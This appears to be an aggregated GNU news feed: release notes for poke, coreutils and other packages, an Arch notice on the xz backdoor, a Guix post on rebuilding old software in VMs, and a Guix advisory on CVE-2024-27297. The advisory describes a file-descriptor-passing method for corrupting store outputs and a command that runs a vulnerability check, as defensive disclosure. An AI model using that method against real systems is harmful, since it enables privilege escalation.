About GNU Niceload
GNU niceload slows down a program when the computer load average (or other system activity) is above a certain limit. When the limit is reached the program will be suspended for some time. If the limit is a soft limit the program will be allowed to run for short amounts of time before being suspended again. If the limit is a hard limit the program will only be allowed to run when the system is below the limit.
I am happy to announce the first release of poke-elf, version 1.0.
The tarball poke-elf-1.0.tar.gz is now available at
https://ftp.gnu.org/gnu/poke/poke-elf-1.0.tar.gz.
poke-elf (https://jemarch.net/poke-elf) is a full-fledged GNU poke pickle for editing ELF object
files, executables, shared libraries and core dumps. It supports
many architectures and extensions.
This pickle is part of the GNU poke project.
GNU poke (https://jemarch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.
Please send us comments, suggestions, bug reports, patches,
questions, complaints, bitcoins, or whatever, to poke-devel@gnu.org.
I am happy to announce a new major release of GNU poke, version 4.0.
This release is the result of a year of development. A lot of things
have changed and improved with respect to the 3.x series; we have
fixed many bugs and added quite a lot of new exciting and useful
features. See below for a description of many of them.
The tarball poke-4.0.tar.gz is now available at
https://ftp.gnu.org/gnu/poke/poke-4.0.tar.gz.
GNU poke (http://www.jemarch.net/poke) is an interactive, extensible
editor for binary data. Not limited to editing basic entities such
as bits and bytes, it provides a full-fledged procedural,
interactive programming language designed to describe data
structures and to operate on them.
Thanks to the people who contributed with code and/or documentation to
this release.
Once again, our special thanks to Bruno Haible for his invaluable advise and his help in throughfully testing this new release in many different platforms and configurations.
What is new in this release:
User interface updates* The dump' command now accepts an argument :val. This argument is a mapped value, and makesdump' to dump the bytes corresponding to the value, using colors for the different fields. This command is useful in order to get a visual representation of the constituents of the value and their corresponding bytes.
* It is now possible to compare Poke values of type any' using the equality and inequality operators == and !=.
* GNU poke now acknowledges the POKE\_LOAD\_PATH environment variable whose value, if defined, gets prepended to the load\_path when poke starts.
* When the poke compiler finds an error in an inline asm template it now emits a proper parse error.
* The poked program now recognizes the -S command line option properly.
* The poked program now uses a socket in /tmp/poked-UID.pic where UID is the user ID of the effective user running the program. This is better than the previous behavior of always using /tmp/poked.ipc, since it allows for several poked instances to be run in the system.
* The poke program now allows referring to IO spaces by name/handler with $<STR>, where STR is a non-ambiguous substring of some open IO space handler. Examples are $</bin/ls> and $<*0*>, which could be referred to as $<ls> and $<0> respectively.
* A new utility called pokefmt has been added to the GNU poke distribution, which implements a simple template system. See the manual for details on how to use this utility.
* The poke prompt can now be customized by the user. This is done by re-defining a function called pk\_prompt. The default value for this function just returns "(poke)", but it can be made as complex as desired.
* The poke prompt can now be styled using theprompt' styling class.
* The new dot-command .compiler ast EXPR' will compile EXPR and then print its abstract syntax tree (AST). This is useful for debugging the compiler.
* The dot-command.info type' now accepts both expressions or Poke type specifiers as argument. In the first case it prints information about the type of the value to which the expression evaluates. In the second case it prints information about the type denoted by the given specifier.
* The dot-command .info type' no longer shows field pretty-printer methods, nor anonymous fields in the list of methods and fields.
* A dot-command.mmap FILENAME, BASE, SIZE' is now available to poke at devices and files that require mmap. This is the case of many devices provided by kernel drivers.
Poke Language updates* The Poke language now supports using the t' andT' suffixes to denote the uint<1> (bit) values 0t and 1t.
* It is now possible to specify pretty-printers for particular fields in struct type definitions, rather than having to pretty-print the whole value. To pretty-print a field FNAME, just define the pretty-printer as a method called _print_FNAME.
* A new immutable variable pk_version is made available, that contains a string with the version of the running poke.
* A new struct type Pk_Version is defined, that denotes the version of a GNU poke system, or of a pickle. Accompanying functions pk_version_parse and pk_vercmp are available for parsing PK_Version values from strings and for comparing versions, respectively. The version comparing function accepts either Pk_Version or string formatted versions indistinctly.
* The new built-in function rtrace' prints out the current call stack in the PVM, a function name in each line. It makes use of the new PVM instruction of the same name.
* The new built-in functioniosearch' allows searching for IO spaces by name/handler from Poke programs.
Standard Poke Library updates* The new built-in openmmap' function allows to create MMAP-operated IO spaces in Poke programs.
* New functionsisdigit' and isxdigit' have been added to the standard library, that check whether a given character is a decimal digit or an hexadecimal digit respectively.
* New functionstrrchr' has been added to the standard library, that finds th elast occurrence of a character in a string and returns either its index or, if the character is not found, minus one.
* New function strtoi' has been added to the standard library, that parses a numeric denotation on a string and returns the result and the number of parsed characters.
* The functionatoi' has been refactored to be defined in terms of strtoi'.
* New functionstrtok' has been added to the standard library, that helps tokenizing strings.
* New function strstr' has been added to the standard library, that searches for a sub-string in some given string.
* The standard functionstoca' has been changed so it doesn't always require passing an array to it. If no array is passed then it allocates and returns an array by itself. This is backwards compatible.
libpoke updates A new service pk_keyword_p is available in libpoke, that tells whether a given name is a keyword in the Poke language.
* When calling pk_load specifying a module that has already been loaded, it is now loaded again and all the definitions in it are re-defined. This makes the libpoke service to match the behavior of the `load' Poke language construction.
* The libpoke library now supports the handling of delimited alien tokens with the form $<[^>]>.
* New services pk_register_thread and pk_unregister_thread have been added in order to allow using libpoke in multi-threaded programs.
* We have done more work to remove global state from libpoke, with the goal that someday it shall be possible for a single program to have several instances of the poke incremental compiler. We are not there yet, but getting near.
* New services pk_set_debug_p and pk_get_last_ast_str have been added to libpoke, which set the incremental compiler in debug mode and makes it possible to get a printable representation of the AST (abstract syntax tree) corresponding to the last compiled expression.
* The pk_ios_search service now gets a flag argument, enabling the user to select between exact or partial matching of the handler while searching for the IOS.
* New services pk_set_user_data and pk_get_user_data are added in order to set a user-defined payload that gets passed back in several libpoke callbacks.
* The terminal interface in libpoke has been updated so a reference to the pk_compiler incremental compiler is passed to all the callbacks.
Pickles updates* A new pickle srec' has been added for editing, encoding and decoding Motorola SREC files.
* A new pickleorc' has been added for poking at ORC data, which is the stack unwinding format used within the Linux kernel.
* A new pickle gcov' has been added for editing GCOV data (.gcda) and notes (.gcno) files.
* A new picklebase64' has been added to poke, that provides functions to encode and decode data in base64 as defined by the RFC 4648.
* A new pickle iscan' has been added to poke, that provides a framework implementing Icon-like scanning contexts.
* A new pickleiscan-str' has been added to poke, that provides Icon-like scanning capabilities in Poke strings.
* A new pickle gpt' pickle has been added to poke at GUID partition tables.
* A new picklejojodiff' has been added to generate and apply JojoDiff binary patches. An accompanying pk-jojopatch utility is also provided.
* A new pickle linux' has been added to poke, that provides internal data structures used by the Linux kernel.
* The ELF pickle is now developed and distributed separately in its own project: https://jemarch.net/poke-elf.
* The DWARF pickle is now developed and distributed separately in its own project: https://jemarch.net/poke-dwarf.
* The sframe pickle has been updated to reflect AArch64 PAuth information.
* The PE pickle now supports BASE64 encoded names, which is a Microsoft extension.
* The BTF pickle now performs more data integrity checks, and also now supports BTF\_KIND\_ENUM64 entries.
* All the pickles distributed with GNU poke have been modified so they don't use standard types likeint' or 'long' anymore. This is to make it possible to use them in non-poke applications integrating with libpoke, like GDB.
Build system updates* poke, libpoke and pokefmt now builds and runs natively in Windows.
* Different components in the source tree (poked, pokefmt) can now be disabled using the --disable-poked and --disable-pokefmt command-line options.
* A file poke.m4 is now installed, that provides the macros PK_PROG_POKE and PK_CHECK_PICKLE. These macros are to be used by projects and packages that install GNU poke pickles. The first macro checks for a particular version of poke, whereas the second checks for the availability of some particular pickle.
Documentation updates* The manual has been fixed to refer to gettime' instead ofget_time'. This function changed name in 3.0.
* The GNU poke manual in `info' format is now installed under its own directory category (GNU poke) rather than under Editors. This is because other poke related projects like poke-elf and poke-dwarf also install manuals under this new directory category.
From: "Arch Linux: Recent news updates: David Runge" arch-announce@lists.archlinux.org
TL;DR: Upgrade your systems and container images now!
As many of you may have already read 1, the upstream release tarballs for xz in version 5.6.0 and 5.6.1 contain malicious code which adds a backdoor.
This vulnerability is tracked in the Arch Linux security tracker 2.
The xz packages prior to version 5.6.1-2 (specifically 5.6.0-1 and 5.6.1-1) contain this backdoor.
We strongly advise against using affected release artifacts and instead downloading what is currently available as latest version!
Upgrading the systemIt is strongly advised to do a full system upgrade right away if your system currently has xz version 5.6.0-1 or 5.6.1-1 installed:
openssh does not directly use liblzma. However debian and several otherdistributions patch openssh to support systemd notification, and libsystemddoes depend on lzma.
Arch does not directly link openssh to liblzma, and thus this attack vector is not possible. You can confirm this by issuing the following command:
ldd "$(command -v sshd)"
However, out of an abundance of caution, we advise users to remove the malicious code from their system by upgrading either way. This is because other yet-to-be discovered methods to exploit the backdoor could exist.
This is to announce coreutils-9.5, a stable release.
See the NEWS below for a summary of changes.
There have been 187 commits by 18 people in the 30 weeks since 9.4.
Thanks to everyone who has contributed!
The following people contributed changes to this release:
Aearil (1) Petr Malat (1)
Bruno Haible (3) Pádraig Brady (75)
Christian Göttsche (1) Samuel Tardieu (1)
Collin Funk (4) Stephane Chazelas (1)
Daan De Meyer (1) Stephen Kitt (1)
Greg Wooledge (1) Sylvestre Ledru (3)
Grisha Levit (2) Ville Skyttä (1)
Michel Lind (1) dann frazier (1)
Paul Eggert (89) lvgenggeng (1)
Pádraig [on behalf of the coreutils maintainers]
Here is the GNU coreutils home page:
https://gnu.org/s/coreutils/
For a summary of changes and contributors, see:
https://git.sv.gnu.org/gitweb/?p=coreutils.git;a=shortlog;h=v9.5
or run this command from a git-cloned coreutils directory:
git shortlog v9.4..v9.5
Here are the compressed sources:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.gz (15MB)
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.xz (5.8MB)
Here are the GPG detached signatures:
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.gz.sig
https://ftp.gnu.org/gnu/coreutils/coreutils-9.5.tar.xz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
Verify the base64 SHA256 checksum with cksum -a sha256 --check
from coreutils-9.2 or OpenBSD's cksum since 2007.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify coreutils-9.5.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
This release was bootstrapped with the following tools:
Autoconf 2.72c.32-cb6fb
Automake 1.16.5
Gnulib v0.1-7293-g259829e78b
Bison 3.8.2
NEWS
Noteworthy changes in release 9.5 (2024-03-28) [stable]
** Bug fixes
chmod -R now avoids a race where an attacker may replace a traversed file
with a symlink, causing chmod to operate on an unintended file.
[This bug was present in "the beginning".]
cp, mv, and install no longer issue spurious diagnostics like "failed
to preserve ownership" when copying to GNU/Linux CIFS file systems.
They do this by working around some Linux CIFS bugs.
cp --no-preserve=mode will correctly maintain set-group-ID bits
for created directories. Previously on systems that didn't support ACLs,
cp would have reset the set-group-ID bit on created directories.
[bug introduced in coreutils-8.20]
join and uniq now support multi-byte characters better.
For example, 'join -tX' now works even if X is a multi-byte character,
and both programs now treat multi-byte characters like U+3000
IDEOGRAPHIC SPACE as blanks if the current locale treats them so.
numfmt options like --suffix no longer have an arbitrary 127-byte limit.
[bug introduced with numfmt in coreutils-8.21]
mktemp with --suffix now better diagnoses templates with too few X's.
Previously it conflated the insignificant --suffix in the error.
[bug introduced in coreutils-8.1]
sort again handles thousands grouping characters in single-byte locales
where the grouping character is greater than CHAR_MAX. For e.g. signed
character platforms with a 0xA0 (aka ) grouping character.
[bug introduced in coreutils-9.1]
split --line-bytes with a mixture of very long and short lines
no longer overwrites the heap (CVE-2024-0684).
[bug introduced in coreutils-9.2]
tail no longer mishandles input from files in /proc and /sys file systems,
on systems with a page size larger than the stdio BUFSIZ.
[This bug was present in "the beginning".]
timeout avoids a narrow race condition, where it might kill arbitrary
processes after a failed process fork.
[bug introduced with timeout in coreutils-7.0]
timeout avoids a narrow race condition, where it might fail to
kill monitored processes immediately after forking them.
[bug introduced with timeout in coreutils-7.0]
wc no longer fails to count unprintable characters as parts of words.
[bug introduced in textutils-2.1]
** Changes in behavior
base32 and base64 no longer require padding when decoding.
Previously an error was given for non padded encoded data.
base32 and base64 have improved detection of corrupted encodings.
Previously encodings with non zero padding bits were accepted.
basenc --base16 -d now supports lower case hexadecimal characters.
Previously an error was given for lower case hex digits.
cp --no-clobber, and mv -n no longer exit with failure status if
existing files are encountered in the destination. Instead they revert
to the behavior from before v9.2, silently skipping existing files.
ls --dired now implies long format output without hyperlinks enabled,
and will take precedence over previously specified formats or hyperlink mode.
numfmt will accept lowercase 'k' to indicate Kilo or Kibi units on input,
and uses lowercase 'k' when outputting such units in '--to=si' mode.
pinky no longer tries to canonicalize the user's login location by default,
rather requiring the new --lookup option to enable this often slow feature.
wc no longer ignores encoding errors when counting words.
Instead, it treats them as non white space.
** New features
chgrp now accepts the --from=OWNER:GROUP option to restrict changes to files
with matching current OWNER and/or GROUP, as already supported by chown(1).
chmod adds support for -h, -H,-L,-P, and --dereference options, providing
more control over symlink handling. This supports more secure handling of
CLI arguments, and is more consistent with chown, and chmod on other systems.
cp now accepts the --keep-directory-symlink option (like tar), to preserve
and follow existing symlinks to directories in the destination.
cp and mv now accept the --update=none-fail option, which is similar
to the --no-clobber option, except that existing files are diagnosed,
and the command exits with failure status if existing files.
The -n,--no-clobber option is best avoided due to platform differences.
env now accepts the -a,--argv0 option to override the zeroth argument
of the command being executed.
mv now accepts an --exchange option, which causes the source and
destination to be exchanged. It should be combined with
--no-target-directory (-T) if the destination is a directory.
The exchange is atomic if source and destination are on a single
file system that supports atomic exchange; --exchange is not yet
supported in other situations.
od now supports printing IEEE half precision floating point with -t fH,
or brain 16 bit floating point with -t fB, where supported by the compiler.
tail now supports following multiple processes, with repeated --pid options.
** Improvements
cp,mv,install,cat,split now read and write a minimum of 256KiB at a time.
This was previously 128KiB and increasing to 256KiB was seen to increase
throughput by 10-20% when reading cached files on modern systems.
env,kill,timeout now support unnamed signals. kill(1) for example now
supports sending such signals, and env(1) will list them appropriately.
SELinux operations in file copy operations are now more efficient,
avoiding unneeded MCS/MLS label translation.
sort no longer dynamically links to libcrypto unless -R is used.
This decreases startup overhead in the typical case.
wc is now much faster in single-byte locales and somewhat faster in
multi-byte locales.
BOSTON, Massachusetts, USA -- March 27, 2024 -- The Free Software Foundation (FSF) today announced Alyssa Rosenzweig, who reverse-engineered Apple's current line of graphics processing units (GPU), as keynote speaker for LibrePlanet 2024. LibrePlanet 2024: Cultivating Community is the sixteenth edition of the FSF's conference on ethical technology and user freedom and will be held on May 4 and 5 at the Wentworth Institute of Technology in Boston, MA, as well as online.
I'm very pleased to announce the release of a new version of GNU PSPP. PSPP is a program for statistical analysis of sampled data. It is a free replacement for the proprietary program SPSS.
Changes from 2.0.0 to 2.0.1:
Bug fixes.
Translation updates.
Please send PSPP bug reports to bug-gnu-pspp@gnu.org.
GNUnet 0.21.1 This is a bugfix release for gnunet 0.21.0.It primarily addresses some connectivity issues introduced with our new transport subsystem.
Links * Source: https://ftpmirror.gnu.org/gnunet/gnunet-0.21.1.tar.gz ( https://ftpmirror.gnu.org/gnunet/gnunet-0.21.1.tar.gz.sig )
* Source (meson): https://buildbot.gnunet.org/gnunet-0.21.1-meson.tar.gz ( https://buildbot.gnunet.org/gnunet-0.21.1-meson.tar.gz.sig )
* Detailed list of changes: https://git.gnunet.org/gnunet.git/log/?h=v0.21.1
* NEWS: https://git.gnunet.org/gnunet.git/tree/NEWS?h=v0.21.1
* The list of closed issues in the bug tracker: https://bugs.gnunet.org/changelog_page.php?version_id=437
The GPG key used to sign is: 3D11063C10F98D14BD24D1470B0998EF86F59B6A
Note that due to mirror synchronization, not all links may be functionalearly after the release. For direct access try https://ftp.gnu.org/gnu/gnunet/
I am delighted to announce version 4.15.6 of GNU a2ps, the Anything to
PostScript converter.
This release fixes a couple of bugs, in particular with printing (the -P
flag). See below for details.
Here are the compressed sources and a GPG detached signature:
https://ftpmirror.gnu.org/a2ps/a2ps-4.15.6.tar.gz
https://ftpmirror.gnu.org/a2ps/a2ps-4.15.6.tar.gz.sig
Use a mirror for higher download bandwidth:
https://www.gnu.org/order/ftp.html
The SHA256 checksum is base64 encoded, instead of the
hexadecimal encoding that most checksum tools default to.
Use a .sig file to verify that the corresponding file (without the
.sig suffix) is intact. First, be sure to download both the .sig file
and the corresponding tarball. Then, run a command like this:
gpg --verify a2ps-4.15.6.tar.gz.sig
The signature should match the fingerprint of the following key:
If that command fails because you don't have the required public key,
or that public key has expired, try the following commands to retrieve
or refresh it, and then rerun the 'gpg --verify' command.
Rebuilding software five years later, how hard can it be? It can’t bethat hard, especially when you pride yourself on having a tool thatcan travel intimeand that does a good job at ensuring reproduciblebuilds, right?
In hindsight, we can tell you: it’s more challenging than itseems. Users attempting to travel 5 years back with guix time-machineare (or were) unavoidably going to hit bumps on the road—a realproblem because that’s one of the use cases Guix aims to support well,in particular in a reproducibleresearch context.
In this post, we look at some of the challenges we face while travelingback, how we are overcoming them, and open issues.
The visionFirst of all, one clarification: Guix aims to support time travel, butwe’re talking of a time scale measured in years, not in decades. Weknow all too well that this is already very ambitious—it’s somethingthat probably nobody except Nix and Guix are eventrying. More importantly, software deployment at the scale of decadescalls for very different, more radical techniques; it’s the work ofarchivists.
Concretely, Guix 1.0.0 was released in2019 andour goal is to allow users to travel as far back as 1.0.0 and redeploysoftware from there, as in this example:
$ guix time-machine -q --commit=v1.0.0 -- \ environment --ad-hoc python2 -- python> guile: warning: failed to install localePython 2.7.15 (default, Jan 1 1970, 00:00:01) [GCC 5.5.0] on linux2Type "help", "copyright", "credits" or "license" for more information.>>>
(The command above uses guix environment, the predecessor of guix shell,which didn’t exist back then.)It’s only 5 years ago but it’s pretty much remote history on the scaleof software evolution—in this case, that history comprises majorchanges in Guixitself andin Guile.How well does such a command work? Well, it depends.
The project has two build farms; bordeaux.guix.gnu.org has beenkeeping substitutes (pre-built binaries) of everything it built sinceroughly 2021, while ci.guix.gnu.org keeps substitutes for roughly twoyears, but there is currently no guarantee on the durationsubstitutes may be retained.Time traveling to a period where substitutes are available isfine: you end up downloading lots of binaries, but that’s OK, you ratherquickly have your software environment at hand.
Bumps on the build roadThings get more complicated when targeting a period in time for whichsubstitutes are no longer available, as was the case for v1.0.0 above.(And really, we should assume that substitutes won’t remain availableforever: fellow NixOS hackers recently had to seriously considertrimming their 20-year-long history ofsubstitutesbecause the costs are not sustainable.)
Apart from the long build times, the first problem that arises in theabsence of substitutes is source code unavailability. I’ll spare youthe details for this post—that problem alone would deserve a book.Suffice to say that we’re lucky that we started working on integratingGuix with SoftwareHeritageyears ago, and that there has been great progress over the last coupleof years to get closer to full package source codearchival (more precisely: 94% ofthe source code of packages available in Guix in January 2024 isarchived, versus 72% of the packages available in May 2019).
So what happens when you run the time-machine command above? Itbrings you to May 2019, a time for which none of the official buildfarms had substitutes until a few days ago. Ideally, thanks toisolated buildenvironments,you’d build things for hours or days, and in the end all those binarieswill be here just as they were 5 years ago. In practice though, thereare several problems that isolation as currently implemented does notaddress.
Among those, the most frequent problem is time traps: software buildprocesses that fail after a certain date (these are also referred to as“time bombs” but we’ve had enough of these and would rather call for aceasefire). This plagues a handful of packages out of almost 30,000 butunfortunately we’re talking about packages deep in the dependency graph.Here are some examples:
OpenSSL unit tests failafter a certain date because some of the X.509 certificates they usehave expired.
GnuTLS had similar issues;newer versions rely ondatefudge tofake the date while running the tests and thus avoid that problemaltogether.
Python 2.7, found in Guix 1.0.0, also had thatproblem with its TLS-relatedtests.
OpenJDK would fail to build at somepoint with this interestingmessage: Error: time is more than 10 years from present: 1388527200000 (the build system would consider that its data aboutcurrencies is likely outdated after 10 years).
Libgit2, a dependency of Guix, had (has?) a time-dependenttests.
MariaDB tests started failing in2019.
Someone traveling to v1.0.0 will hit several of these, preventingguix time-machine from completing. A serious bummer, especially tothose who’ve come to Guix from the perspective of making their researchworkflowreproducible.
Time traps are the main road block, but there’s more! In rare cases,there’s software influenced by kernel details not controlled by thebuild daemon:
Tests of the hwloc hardware locality library would fail whenrunning on a Btrfs file system.
In a handful of cases, but important ones, builds might fail whenperformed on certain CPUs. We’re aware of at least two cases:
Python 3.9 to 3.11 would set a signal handler stack too small foruse on Intel Sapphire Rapids XeonCPUs (it’s morecomplicated than this but the end result is: it will no longer buildon modern hardware).
Firefox would reportedly crash on Raptor Lake CPUs running an buggyversion of theirfirmware.
Neither time traps nor those obscure hardware-related issues can beavoided with the isolation mechanism currently used by the build daemon.This harms time traveling when substitutes are unavailable. Giving upis not in the ethos of this project though.
Where to go from here?There are really two open questions here:
How can we tell which packages needs to be “fixed”, and how:building at a specific date, on a specific CPU?
How can keep those aspects of the build environment (time, CPUvariant) under control?
Let’s start with #2. Before looking for a solution, it’s worthremembering where we come from. The build daemon runs build processeswith a separate root filesystem, underdedicated user IDs, and in separate Linuxnamespaces,thereby minimizing interference with the rest of the system and ensuringa well-defined buildenvironment.This technique wasimplementedby Eelco Dolstra for Nix in 2007 (with namespace support addedin2012),at a time where the word container had to do with boats and before“Docker” became the name of a software tool. In short, the approachconsists in controlling the build environment in every detail (it’s atodds with the strategy that consists in achieving reproducible buildsin spite of high build environmentvariability).That these are mere processes with a bunch of bind mounts makes thisapproach inexpensive and appealing.
Realizing we’d also want to control the build environment’s date,we naturally turn to Linux namespaces to address that—Dolstra, Löh, andPierron already suggested something along these lines in the conclusionof their 2010 Journal of Functional Programmingpaper. Turns outthere is now a timenamespace.Unfortunately it’s limited to CLOCK_MONOTONIC and CLOCK_BOOTTIMEclocks; the manual page states:
Note that time namespaces do not virtualize the CLOCK_REALTIMEclock. Virtualization of this clock was avoided for reasons ofcomplexity and overhead within the kernel.
I hear you say: What aboutdatefudge andlibfaketime?These rely on the LD_PRELOAD environment variable to trick the dynamiclinker into pre-loading a library that provides symbols such asgettimeofday and clock_gettime. This is a fine approach in somecases, but it’s too fragile and too intrusive when targeting arbitrarybuild processes.
That leaves us with essentially one viable option: virtual machines(VMs). The full-system QEMU lets you specify the initial real-timeclock of the VM with the -rtc flag, which is exactly what we need(“user-land” QEMU such as qemu-x86_64 does not support it). And ofcourse, it lets you specify the CPU model to emulate.
News from the pastNow, the question is: where does the VM fit? The author consideredwriting a packagetransformationthat would change a package such that it’s built in a well-defined VM.However, that wouldn’t really help: this option didn’t exist in pastrevisions, and it would lead to a different build anyway from theperspective of the daemon—a differentderivation.
The best strategy appeared to beoffloading:the build daemon can offload builds to different machines over SSH, wejust need to let it send builds to a suitably-configured VM. To dothat, we can reuse some of the machinery initially developed forchildhurdsthat takes care of setting up offloading to the VM: creating substitutesigning keys and SSH keys, exchanging secret key material between thehost and the guest, and so on.
The end result is a service for Guix Systemusersthat can be configured in a few lines:
(use-modules (gnu services virtualization))(operating-system ;; … (services (append (list (service virtual-build-machine-service-type)) %base-services)))
The default setting above provides a 4-core VM whose initial date isJanuary 2020, emulating a Skylake CPU from that time—the right setup forsomeone willing to reproduce old binaries. You can check theconfiguration like this:
$ sudo herd configuration build-vmCPU: Skylake-Clientnumber of CPU cores: 4memory size: 2048 MiBinitial date: Wed Jan 01 00:00:00Z 2020
To enable offloading to that VM, one has to explicitly start it, likeso:
$ sudo herd start build-vm
From there on, every native build is offloaded to the VM. The key partis that with almost no configuration, you get everything set up to buildpackages “in the past”. It’s a Guix System only solution; if you runGuix on another distro, you can set up a similar build VM but you’llhave to go through the cumbersome process that is all taken care ofautomatically here.
Of course it’s possible to choose different configuration parameters:
(service virtual-build-machine-service-type (virtual-build-machine (date (make-date 0 0 00 00 01 10 2017 0)) ;further back in time (cpu "Westmere") (cpu-count 16) (memory-size (* 8 1024)) (auto-start? #t)))
With a build VM with its date set to January 2020, we have been able torebuild Guix and its dependencies along with a bunch of packages such asemacs-minimal from v1.0.0, overcoming all the time traps and otherchallenges described earlier. As a side effect, substitutesare now available from ci.guix.gnu.org so you can even try this athome without having to rebuild the world:
$ guix time-machine -q --commit=v1.0.0 -- build emacs-minimal --dry-runguile: warning: failed to install localesubstitute: updating substitutes from 'https://ci.guix.gnu.org'... 100.0%38.5 MB would be downloaded: /gnu/store/53dnj0gmy5qxa4cbqpzq0fl2gcg55jpk-emacs-minimal-26.2
For the fun of it, we went as far as v0.16.0, released in December2018:
guix time-machine -q --commit=v0.16.0 -- \ environment --ad-hoc vim -- vim --version
This is the furthest we can go sincechannelsand the underlying mechanisms that make time travel possible did notexist before that date.
There’s one “interesting” case we stumbled upon in that process: inOpenSSL 1.1.1g (released April 2020 and packaged in December2020),some of the test certificates are not valid before April 2020, so thebuild VM needs to have its clock set to May 2020 or thereabouts.Booting the build VM with a different date can be done withoutreconfiguring the system:
$ sudo herd stop build-vm$ sudo herd start build-vm -- -rtc base=2020-05-01T00:00:00
The -rtc … flags are passed straight to QEMU, which is handy whenexploring workarounds…
The time-travel continuous integrationjobset has been set up tocheck that we can, at any time, travel back to one of the past releases.This at least ensures that Guix itself and its dependencies havesubstitutes available at ci.guix.gnu.org.
Reproducible research workflows reproducedIncidentally, this effort rebuilding 5-year-old packages has allowed usto fix embarrassing problems. Software that accompanies research papersthat followed our reproducibilityguidelinescould no longer be deployed, at least not without this clock twiddlingeffort:
codeof [Re] Storage Tradeoffs in a Collaborative Backup Service forMobile Devices, submittedas part of the ReScience Ten Years ReproducibilityChallenge in June 2020,and which is precisely about showcasing reproducible deployment withGuix;
codeof the 2022 Nature Scientific Data article entitled Towardpractical transparent verifiable and long-term reproducible researchusing Guix, whichrelied on an April 2020 revision of Guix to deploy (Simon Tournierwho co-authored the paper reportedearlieron a failed attempt showing just how challenging it was).
It’s good news that we can now re-deploy these 5-year-old softwareenvironments with minimum hassle; it’s bad news that holding thispromise took extra effort.
The ability to reproduce the environment of software that accompaniesresearch work should not be considered a mundanity or an exercise that’s“overkill”.The ability to rerun, inspect, and modify software are the naturalextension of the scientific method. Without a companion reproduciblesoftware environment, research papers are merely the advertisement ofscholarship, to paraphrase Jon Claerbout.
The futureThe astute reader surely noticed that we didn’t answer question #1above:
How can we tell which packages needs to be “fixed”, and how: buildingat a specific date, on a specific CPU?
It’s a fact that Guix so far lacks information about the date, kernel,or CPU model that should be used to build a given package.Derivationspurposefully lack that information on the grounds that it cannot beenforced in user land and is rarely necessary—which is true, but“rarely” is not the same as “never”, as we saw. Should we create acatalog of date, CPU, and/or kernel annotations for packages found inpast revisions? Should we define, for the long-term, anall-encompassing derivation format? If we did and effectively requiredvirtual build machines, what would that mean from abootstrappingstandpoint?
Here’s another option: build packages in VMs running in the year 2100,say, and on a baseline CPU. We don’t need to require all users to setup a virtual build machine—that would be impractical. It may be enoughto set up the project build farms so they build everything that way.This would allow us to catch time traps and year 2038bugs before they bite.
Before we can do that, the virtual-build-machine service needs to beoptimized. Right now, offloading to build VMs is as heavyweight asoffloading to a separate physical build machine: data is transferredback and forth over SSH over TCP/IP. The first step will be to run SSHover a paravirtualized transport instead such as AF_VSOCKsockets.Another avenue would be to make /gnu/store in the guest VM an overlayover the host store so that inputs do not need to be transferred andcopied.
Until then, happy software (re)deployment!
AcknowledgmentsThanks to Simon Tournier for insightful comments on a previous versionof this post.
A security issue has been identified inguix-daemonwhich allows for fixed-outputderivations,such as source code tarballs or Git checkouts, to be corrupted by anunprivileged user. This could also lead to local privilege escalation.This was originally reported to Nix but also affects Guix as we sharesome underlying code from an older version of Nix for theguix-daemon. Readers only interested in making sure their Guix is upto date and no longer affected by this vulnerability can skip down tothe "Upgrading" section.
VulnerabilityThe basic idea of the attack is to pass file descriptors through Unixsockets to allow another process to modify the derivation contents.This was first reported to Nix by jade and puckipedia with furtherdetails and a proof of concepthere. Note that the proofof concept is written for Nix and has been adapted for GNU Guix below.This security advisory is registered asCVE-2024-27297(details are also available at Nix's GitHub securityadvisory)and rated "moderate" in severity.
A fixed-outputderivationis one where the output hash is known in advance. For instance, toproduce a source tarball. The GNU Guix build sandbox purposefullyexcludes network access (for security and to ensure we can control andreproduce the build environment), but a fixed-output derivation doeshave network access, for instance to download that source tarball.However, as stated, the hash of output must be known in advance, againfor security (we know if the file contents would change) andreproducibility (should always have the same output). Theguix-daemon handles the build process and writing the output to thestore, as a privileged process.
In the build sandbox for a fixed-output derivation, a file descriptorto its contents could be shared with another process via a Unixsocket. This other process, outside of the build sandbox, can thenmodify the contents written to the store, changing them to somethingmalicious or otherwise corrupting the output. While the output hashhas already been determined, these changes would mean a fixed-outputderivation could have contents written to the store which do not matchthe expected hash. This could then be used by the user or otherpackages as well.
MitigationThis security issue (tracked herefor GNU Guix) has been fixed bytwocommitsby Ludovic Courtès. Users should make sure they have updated to thissecondcommitto be protected from this vulnerability. Upgrade instructions are inthe following section.
While several possible mitigation strategies were detailed in theoriginal report, the simplest fix is just copy the derivation outputsomewhere else, deleting the original, before writing to the store.Any file descriptors will no longer point to the contents which getwritten to the store, so only the guix-daemon should be able towrite to the store, as designed. This is what the Nix project used intheir ownfix.This does add an additional copy/delete for each file, which may add aperformance penalty for derivations with many files.
A proof of concept by Ludovic, adapted from the one in the originalNix report, is available at the end of this post. One can run thiscode with
guix build -f fixed-output-derivation-corruption.scm -M4
This will output whether the current guix-daemon being used isvulnerable or not. If it is vulnerable, the output will include a line similar to
We managed to corrupt /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd-65f05aca-17261, meaning that YOUR SYSTEM IS VULNERABLE!
The corrupted file can be removed with
guix gc -D /gnu/store/yls7xkg8k0i0qxab8sv960qsy6a0xcz7-derivation-that-exfiltrates-fd*
In general, corrupt files from the store can be found with
guix gc --verify=contents
which will also include any files corrupted by through thisvulnerability. Do note that this command can take a long time tocomplete as it checks every file under /gnu/store, which likely hasmany files.
UpgradingDue to the severity of this security advisory, we strongly recommendall users to upgrade their guix-daemon immediately.
For a Guix System the procedure is just reconfiguring the system aftera guix pull, either restarting guix-daemon or rebooting. Forexample,
guix pullsudo guix system reconfigure /run/current-system/configuration.scmsudo herd restart guix-daemon
